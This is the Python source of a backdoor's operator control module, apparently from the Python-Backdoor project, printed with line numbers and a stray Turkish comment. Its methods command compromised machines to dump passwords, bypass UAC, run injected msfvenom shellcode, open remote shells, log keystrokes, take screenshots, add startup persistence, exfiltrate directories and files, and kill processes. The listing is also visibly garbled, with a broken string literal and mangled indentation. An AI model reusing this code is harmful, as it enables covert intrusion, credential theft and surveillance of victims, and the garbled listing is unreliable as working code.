

```

1  """
2  https://github.com/xp4xbox/Python-Backdoor
3
4  @author    xp4xbox
5
6  license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
7  """
8  #236 rsp = self.es.recv_json() bu kısımlarda boşluk sıkıntısı var.
9  import logging
10 import os
11 import re
12 import socket
13 import time
14
15 from src import errors, helper
16 from src.definitions.commands import *
17 from src.logger import LOGGER_ID
18
19
20 class Control:
21     def __init__(self, _server):
22         self.server = _server
23         self.logger = logging.getLogger(LOGGER_ID)
24         self.es = None
25
26     def get_vuln(self, exploit_only=False):
27         self.es.send_json(CLIENT_GET_VULN, exploit_only)
28
29         self.logger.info("Please wait...")
30
31         rsp = self.es.recv_json()
32
33         if rsp["key"] == SUCCESS:
34             data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")
35             print(f"\n{data}")
36
37         elif rsp["key"] == ERROR:
38             self.logger.error(rsp["value"])
39
40     def password_dump(self, password=None):
41         self.es.send_json(CLIENT_PWD, password)
42
43         self.logger.info("Please wait...")
44
45         rsp = self.es.recv_json()
46
47         if rsp["key"] == SUCCESS:
48             data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")
49
50             try:
51                 # try to convert to string first before running rstrip on it
52                 str(data)
53                 print(f"\n{str(data).rstrip()}")
54             except Exception:
55                 print(f"\n{data}")
56
57         elif rsp["key"] == ERROR:
58             self.logger.error(rsp["value"])
59
60     def elevate(self):
61         if self.server.get_address(self.es.socket)["is_admin"]:
62             self.logger.error("Session already has admin access")
63             return
64
65         self.es.send_json(CLIENT_ELEVATE)
66
67         self.logger.info("Please wait...")
68
69         rsp = self.es.recv_json()
70
71
72

```

```

73
74     if rsp["key"] == SUCCESS:
75         data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8")
76
77         self.logger.info(f"Attempted Elevation via UAC Bypass:\n{data}")
78
79     def shellcode(self):
80         _encoding = "x64" if self.server.get_address(self.es.socket)['x64_python']
81         else "x86"
82
83         print(f"Enter {_encoding} unicode bytes eg. (\\x00\\) shellcode or metasploit
84         py output (enter done or cancel "
85             f"when fully entered)")
86
87         data = r"""
88         while True:
89             _input = input()
90
91             if _input.lower() == "done":
92                 break
93             elif _input.lower() == "cancel":
94                 data = ""
95                 break
96             else:
97                 data += _input
98
99         if data == "":
100             return
101
102         # regular expression to parse the msfvenom output
103         buf = re.sub("buf.?(\s+)?=.???\s","", data)
104         buf = buf.replace("\n", "")
105         buf = buf.replace("\'", "")
106
107         self.es.sendall_json(CLIENT_SHELLCODE, buf)
108
109         try:
110             rsp = self.es.recv_json()
111         except socket.error:
112             self.logger.critical("Client crashed!")
113         else:
114             if rsp["key"] == ERROR:
115                 self.logger.error(rsp["value"])
116             elif rsp["key"] == SUCCESS:
117                 self.logger.info("OK.")
118
119     def close(self):
120         self.server.close_one(sck=self.es.socket)
121
122     def info(self):
123         out = "\n"
124         info = self.server.get_address(self.es.socket)
125         for key in info:
126             # ignore outputting redundant information
127             if key != "connected" and key != "is_unix" and key != "aes_key":
128                 out += f"{key}: {info[key]}\n"
129
130         print(out, end="")
131
132     def interact(self, index):
133         try:
134             self.es = self.server.select(index)
135             info = self.server.get_address(self.es.socket)
136             self.logger.info(f"Connected to {info['ip']}:{info['port']} ({info['hostname']})")
137             return True
138         except errors.ServerSocket.InvalidIndex as e:
139             self.logger.error(e)
140             return False
141

```

```

142
143 def startup(self, remove=False):
144     if remove:
145         self.es.send_json(CLIENT_RMV_STARTUP)
146     else:
147         self.es.send_json(CLIENT_ADD_STARTUP)
148
149     rsp = self.es.recv_json()
150
151     if rsp["key"] == ERROR:
152         self.logger.error(rsp["value"])
153     elif rsp["key"] == SUCCESS:
154         self.logger.info("OK.")
155
156 def command_shell(self, index=-1):
157     if index != -1:
158         try:
159             self.es = self.server.select(index)
160             info = self.server.get_address(self.es.socket)
161             self.logger.info(f"Connected to {info['ip']}:{info['port']} ({info['hostname']})")
162         except errors.ServerSocket.InvalidIndex as e:
163             self.logger.error(e)
164         return
165
166     self.es.send_json(CLIENT_SHELL)
167
168     init = self.es.recv_json()
169
170     prompt = f"{init['value']}>" if init["key"] == SERVER_SHELL_DIR else ">"
171
172     while True:
173         command = input(prompt)
174
175         if command.lower() in ["exit", "exit()"]:
176             self.es.send_json(SERVER_SHELL_LEAVE)
177             break
178
179         elif len(command) > 0:
180             self.es.send_json(SERVER_SHELL_CMD, command)
181
182             rsp = self.es.recv_json()
183
184             if rsp["key"] == SERVER_COMMAND_RSP:
185                 data = self.es.recvall(rsp["value"]["buffer"])
186
187                 print(data.decode())
188             elif rsp["key"] == SERVER_SHELL_DIR:
189                 prompt = f"{rsp['value']}>"
190
191 def python_interpreter(self):
192     self.es.send_json(CLIENT_PYTHON_INTERPRETER)
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212

```

```

213
214 while True:
215     command = input("python> ")
216     if command.strip() == "":
217         continue
218     if command.lower() in ["exit", "exit()"]:
219         break
220
221     self.es.send_json(SERVER_PYTHON_INTERPRETER_CMD, command)
222
223     rsp = self.es.recv_json()
224
225     if rsp["key"] == SERVER_PYTHON_INTERPRETER_RSP:
226         data = self.es.recvall(rsp["value"]["buffer"]).decode("utf-8").rstrip(
227             "\n")
228
229         if data != "":
230             print(f"\n{data}")
231
232     self.es.send_json(SERVER_PYTHON_INTERPRETER_LEAVE)
233
234 def screenshot(self):
235     self.es.send_json(CLIENT_SCREENSHOT)
236
237     rsp = self.es.recv_json()
238
239     if rsp["key"] == SUCCESS:
240         buffer = rsp["value"]["buffer"]
241
242         self.logger.info(f"File size: {rsp['value']['value']} bytes")
243
244         data = self.es.recvall(buffer)
245
246         file = f"{os.getcwd()}{os.path.sep}{time.strftime('scrn_%Y%m%d_%H%M%S.png'
247             )}"
248
249         try:
250             with open(file, "wb") as objPic:
251                 objPic.write(data)
252         except Exception as e:
253             self.logger.error(f"Error writing to file {e}")
254             return
255
256         self.logger.info(f"Total bytes received: {os.path.getsize(file)} bytes ->
257             {file}")
258     elif rsp["key"] == ERROR:
259         self.logger.error(f"Failed to take screenshot: {rsp['value']}")
260
261 def keylogger_start(self):
262     self.es.send_json(CLIENT_KEYLOG_START)
263     self.logger.info("OK.")
264
265 def keylogger_stop(self):
266     self.es.send_json(CLIENT_KEYLOG_STOP)
267
268     rsp = self.es.recv_json()
269
270     if rsp["key"] == ERROR:
271         self.logger.error(rsp["value"])
272     elif rsp["key"] == SUCCESS:
273         self.logger.info("OK.")
274
275
276
277
278
279
280
281

```

```

282
283 def keylogger_dump(self):
284     self.es.send_json(CLIENT_KEYLOG_DUMP)
285
286     rsp = self.es.recv_json()
287
288     if rsp["key"] == ERROR:
289         self.logger.error(rsp["value"])
290     elif rsp["key"] == SUCCESS:
291         keylog = self.es.recvall(rsp["value"]["buffer"]).decode()
292
293         try:
294             file_name = f"{os.getcwd()}/{time.strftime('keylog_%Y%m%d_%H%M%S.txt')}
                "
                with open(file_name, "w") as _file:
295                     _file.write(keylog)
296                 self.logger.info(f"Saved to {file_name}")
297             except Exception as e:
298                 self.logger.error(f"Error writing to file {e}")
299                 print(keylog)
300
301 def download_dir(self):
302     input_in = input("Target directory: ")
303     input_out = input("Output directory: ")
304
305     if input_in == "" or input_out == "": # if the user left an input blank
306         self.logger.info("Aborting")
307         return
308
309     max_file_size = -1
310
311     input_file_size = input("Max file size kB ([ENTER] for infinite): ")
312
313     if input_file_size != "":
314         try:
315             max_file_size = 1000 * int(input_file_size)
316         except Exception:
317             self.logger.error("Invalid integer")
318             return
319
320     _in = helper.remove_quotes(input_in)
321     _out = os.path.normpath(helper.remove_quotes(input_out))
322
323     if not os.path.isdir(_out):
324         try:
325             os.makedirs(_out)
326         except OSError:
327             self.logger.error(f"Could not create local dir: {_out}")
328             return
329     else:
330         if not os.access(_out, os.W_OK):
331             self.logger.error(f"No write access to local dir: {_out}")
332             return
333
334         if len(os.listdir(_out)) != 0:
335             # prevent overriding existing files
336             self.logger.error(f"Local directory {_out} not empty")
337             return
338
339     self.es.send_json(CLIENT_DWNL_DIR, {'path': _in, 'size': max_file_size})
340
341     file_count = 0
342     bytes_recv = 0
343     bytes_sent = 0
344
345
346
347
348
349
350
351
352

```

```

353
354 while True:
355     rsp = self.es.recv_json()
356
357     if rsp["key"] == SERVER_UPLOAD_DIR:
358         buffer = rsp["value"]["buffer"]
359
360         file_path = rsp['value']['value']['path']
361         size = rsp['value']['value']['size']
362         progress = rsp['value']['value']['progress']
363
364         self.logger.info(f"{str(progress)}% - {file_path}")
365
366         file_out_path = os.path.join(_out, file_path)
367         file_data = self.es.recvall(buffer)
368
369         if not os.path.isdir(os.path.dirname(file_out_path)):
370             os.makedirs(os.path.dirname(file_out_path))
371
372         try:
373             with open(file_out_path, "wb") as fout:
374                 fout.write(file_data)
375
376                 # self.logger.info(f"Total bytes received: {len(file_data)}
377                 # bytes")
378             except Exception as e:
379                 self.logger.error(f"Error writing to file {e}")
380                 continue
381
382             file_count += 1
383             bytes_recv += len(file_data)
384             bytes_sent += size
385
386         elif rsp["key"] == ERROR: # don't exit on error, try again with next
387             file in dir
388             self.logger.error(rsp["value"])
389
390         elif rsp["key"] == SERVER_UPLOAD_DIR_DONE:
391             if rsp["value"] is not None:
392                 self.logger.error(rsp["value"])
393             else:
394                 self.logger.info(f"Total files received: {file_count}")
395                 self.logger.info(f"Total bytes sent: {bytes_sent}")
396                 self.logger.info(f"Total bytes received: {bytes_recv}")
397                 break
398
399         self.es.send_json(SUCCESS)
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422

```

```

423
424 def download_file(self):
425     input_in = input("Target file: ")
426     input_out = input("Output file: ")
427
428     if input_in == "" or input_out == "": # if the user left an input blank
429         return
430
431     _in = helper.remove_quotes(input_in)
432     _out = os.path.normpath(helper.remove_quotes(input_out))
433
434     self.es.send_json(CLIENT_DWNL_FILE, _in)
435
436     rsp = self.es.recv_json()
437
438     if rsp["key"] == SUCCESS:
439         buffer = rsp["value"]["buffer"]
440
441         self.logger.info(f"File size: {rsp['value']['value']} bytes")
442
443         file_data = self.es.recvall(buffer)
444
445         try:
446             with open(_out, "wb") as _file:
447                 _file.write(file_data)
448         except Exception as e:
449             self.logger.error(f"Error writing to file {e}")
450             return
451
452         self.logger.info(f"Total bytes received: {len(file_data)} bytes")
453
454     elif rsp["key"] == ERROR:
455         self.logger.error(rsp["value"])
456
457 def upload_file(self):
458     file = os.path.normpath(helper.remove_quotes(input("Local file: ")))
459
460     if not os.path.isfile(file):
461         self.logger.error(f"File {file} not found")
462         return
463
464     out_file = helper.remove_quotes(input("Output File: "))
465
466     try:
467         with open(file, "rb") as _file:
468             data = _file.read()
469             self.logger.info(f"File size: {len(data)}")
470     except Exception as e:
471         self.logger.error(f"Could not send file {e}")
472         return
473
474     self.es.sendall_json(CLIENT_UPLOAD_FILE, data, sub_value=out_file, is_bytes=
True)
475
476     rsp = self.es.recv_json()
477
478     if rsp["key"] == SUCCESS:
479         self.logger.info(rsp["value"])
480     elif rsp["key"] == ERROR:
481         self.logger.error(rsp["value"])
482
483 def toggle_disable_process(self, process, popup=False):
484     self.es.send_json(CLIENT_DISABLE_PROCESS, {"process": process, "popup": popup
})
485
486     rsp = self.es.recv_json()
487
488     if rsp["key"] == SUCCESS:
489         self.logger.info(rsp["value"])
490     else:
491         self.logger.error(rsp["value"])
492

```

```
493
494     def lock(self):
495         self.es.send_json(CLIENT_LOCK)
496         self.logger.info("OK.")
497
```